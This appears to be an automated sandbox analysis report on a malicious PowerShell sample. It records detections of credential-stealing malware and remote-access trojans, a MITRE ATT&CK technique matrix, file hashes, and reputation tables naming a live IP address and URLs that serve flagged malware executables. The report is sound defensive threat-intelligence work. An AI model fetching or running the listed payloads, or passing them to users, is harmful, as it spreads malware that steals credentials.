Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2213531087.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2229665328.000002C3E6FA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 1952, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack, type: UNPACKEDPE

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2213531087.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2229665328.000002C3E6FA8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected RedLine Stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 1952, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.powershell.exe.2c3e6fc8f00.7.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	212 Process Injection	11 Masquerading	11 Input Capture	111 Security Software Discovery	Remote Services	11 Input Capture	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	212 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TST.ps1	18%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://crl.ver)	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
http://147.45.44.131	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://147.45.H	0%	Avira URL Cloud	safe
https://api.ip.s	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://g.live.com/odclientsettings/ProdV21C:	0%	Avira URL Cloud	safe
http://147.45.44XBk	0%	Avira URL Cloud	safe
http://147.45.44.131/files/mservice64.exe	100%	Avira URL Cloud	malware
https://g.live.com/odclientsettings/Prod1C:	0%	Avira URL Cloud	safe
http://147.45.44.131/files/TTF.exe	100%	Avira URL Cloud	malware
http://147.45.44.131/files	0%	Avira URL Cloud	safe
https://discord.com/api/v9/users/	0%	Avira URL Cloud	safe
http://147.45.44	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/files/TTF.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000000.00000002.2206077558.000002C3D8564000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	RegAsm.exe, 00000003.00000002.2218088489.000000000317E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.H	powershell.exe, 00000000.00000002.2206077558.000002C3D849E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000005.00000003.2211936578.0000021AB19E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.5.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000005.00000002.3412377270.0000021AB1C00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.ip.s	RegAsm.exe, 00000003.00000002.2218088489.000000000317E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44XBk	powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131	powershell.exe, 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D6ED8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/files/mservice64.exe	powershell.exe, 00000000.00000002.2206077558.000002C3D84B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D84A6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://g.live.com/odclientsettings/Prod1C:	edb.log.5.dr	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/files	powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2229665328.000002C3E6D1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2206077558.000002C3D8717000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/users/	RegAsm.exe, 00000003.00000002.2218088489.00000000032C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.orgX	powershell.exe, 00000000.00000002.2206077558.000002C3D8564000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.2206077558.000002C3D6CB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2206077558.000002C3D6CB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44	powershell.exe, 00000000.00000002.2206077558.000002C3D7B91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://oneget.org	powershell.exe, 00000000.00000002.2206077558.000002C3D8564000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518260
Start date and time:	2024-09-25 14:48:34 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	TST.ps1
Detection:	MAL
Classification:	mal100.troj.expl.evad.winPS1@6/10@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 55 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27
Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: TST.ps1

Simulations

Behavior and APIs

Time	Type	Description
08:49:31	API Interceptor	24x Sleep call for process: powershell.exe modified
08:49:34	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	Info.ps1	Get hash	malicious	LummaC	Browse	147.45.44.131/files/cc.exe
	Visual.ps1	Get hash	malicious	Unknown	Browse	147.45.44.131/files/Installer.exe
	Res.ps1	Get hash	malicious	LummaC	Browse	147.45.44.131/files/CW.exe
	tpq.ps1	Get hash	malicious	Unknown	Browse	147.45.44.131/files/990.exe
	Kv1tZKstAC.exe	Get hash	malicious	Unknown	Browse	147.45.44.131/files/990.exe
	SecuriteInfo.com.Win32.PWSX-gen.14983.3693.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/tpqg0.exe
	KByiiYyiam.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/y75.exe
	B0bHdMDGIN.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/u9.exe
	AD3SI7tuzs.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/iy94.exe
	SecuriteInfo.com.Win32.PWSX-gen.29050.19153.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/files/ypqhgl.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	Info.ps1	Get hash	malicious	LummaC	Browse	147.45.44.131
	Visual.ps1	Get hash	malicious	Unknown	Browse	147.45.44.138
	Res.ps1	Get hash	malicious	LummaC	Browse	147.45.44.131
	tpq.ps1	Get hash	malicious	Unknown	Browse	147.45.44.131
	Kv1tZKstAC.exe	Get hash	malicious	Unknown	Browse	147.45.44.131
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.45.69
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.45.69
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.45.69
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.45.69
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.45.69

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263188066899657
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0H:9JZj5MiKNnNhoxuK
MD5:	0EDE8ACA7BD37C170649A96CC0C80B96
SHA1:	3E18D853BAE3D4BD1ACB78D21F37D3BBD93F6FC5
SHA-256:	FCDDE20E686A51226416FA455F40C9EAF33DDA6E40308D04E1AFDB916CB234D3
SHA-512:	CD5D977BC0E2702CCB461B8BACB88BE4ECBF212A68E1CCEFB6619F5186C63687C8D20C5D718463F83D894BE0BB0442F8AD8E7D40DDF6E95CE7658F155EE3CECC
Malicious:	false
Reputation:	low
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xd694f33f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7556178582708419
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	7663819C8E072CF33EC0CA7E9FAE3491
SHA1:	4331B389A5E45ED216A2052F64F5EAF533BC9BAA
SHA-256:	872A58A1B44CC39DEA42579F0C79D8E9AADE2D7FD8B34E1C40B868E8D7D0A28F
SHA-512:	12191CC917DF535867E15970D374A3396CFA3B5A36AEEC70B54D9B809708BFB1E541BD4EAA9EF3E2C0A35DE07A12E4FAF40052AC3AE1F7A2F7ADF298812688E1
Malicious:	false
Reputation:	low
Preview:	..?... .......7.......X\...;...{......................0.e......!...{?."1...\|..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................,"1...\|..................5.~."1...\|...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08025333566778572
Encrypted:	false
SSDEEP:	3:1i/KYewisGuNaAPaU1ltbExy/olluxmO+l/SNxOf:1yKzVxuNDPaURqyAgmOH
MD5:	81C5272EEF56A76FA289A25FE03E0B1C
SHA1:	123690D0BFD7F1788A4559CBAF5697072E0034FC
SHA-256:	05723F9FBA1E2416E2554E448019C0E9533703B0A455183C226BF63D361DFBAC
SHA-512:	656F425E887919F7B7C07E345C6FEA2FF6B8857D0456AE4B4A3387900D44D56BE22310537706E08ABAA259B6688A2684EAE5C7374943213992E2B74F8C75FC28
Malicious:	false
Reputation:	low
Preview:	N/.......................................;...{.."1...\|...!...{?..........!...{?..!...{?..g...!...{?.................5.~."1...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtci5fqi.0eg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xoirv3ba.02d.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.729658375665667
Encrypted:	false
SSDEEP:	48:2wDblqt/G3Cy2U2UqerukvhkvklCywu1Kp/lHJS7SogZoiVKp/ltS7SogZoG1:1OG3CoTekvhkvCCtiKp/JHpKp/BHl
MD5:	4F81925993F88C63DCC7EF1C402172A8
SHA1:	00DFDC143A8FF233041D8D82A1444BAD23214355
SHA-256:	F1D75B07CEBE6847BBEA4EEC61AB150E0CCDCAAAD6132586AE78A4E3403D4D94
SHA-512:	D7AB433240083EEE36F6EC530A90781FC788C8BC6857278CD3690CCD11FC693125FE70DD1AA1F1FAF6D0F704E7C50B5E8128BF7FE9DAD0131BA22504573B2D00
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...b..[I...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...N..WI......[I.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<29Y-f...........................^.A.p.p.D.a.t.a...B.V.1.....9Y+f..Roaming.@......EW<29Y+f..../.....................g...R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<29Y(f....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<29Y(f....2.....................r#..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<29Y(f....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<29Y(f....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<29Y/f....u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D0S9SLJQSX2CW1XZMXN5.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.729658375665667
Encrypted:	false
SSDEEP:	48:2wDblqt/G3Cy2U2UqerukvhkvklCywu1Kp/lHJS7SogZoiVKp/ltS7SogZoG1:1OG3CoTekvhkvCCtiKp/JHpKp/BHl
MD5:	4F81925993F88C63DCC7EF1C402172A8
SHA1:	00DFDC143A8FF233041D8D82A1444BAD23214355
SHA-256:	F1D75B07CEBE6847BBEA4EEC61AB150E0CCDCAAAD6132586AE78A4E3403D4D94
SHA-512:	D7AB433240083EEE36F6EC530A90781FC788C8BC6857278CD3690CCD11FC693125FE70DD1AA1F1FAF6D0F704E7C50B5E8128BF7FE9DAD0131BA22504573B2D00
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...b..[I...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S...N..WI......[I.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<29Y-f...........................^.A.p.p.D.a.t.a...B.V.1.....9Y+f..Roaming.@......EW<29Y+f..../.....................g...R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<29Y(f....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<29Y(f....2.....................r#..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<29Y(f....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<29Y(f....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<29Y/f....u...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

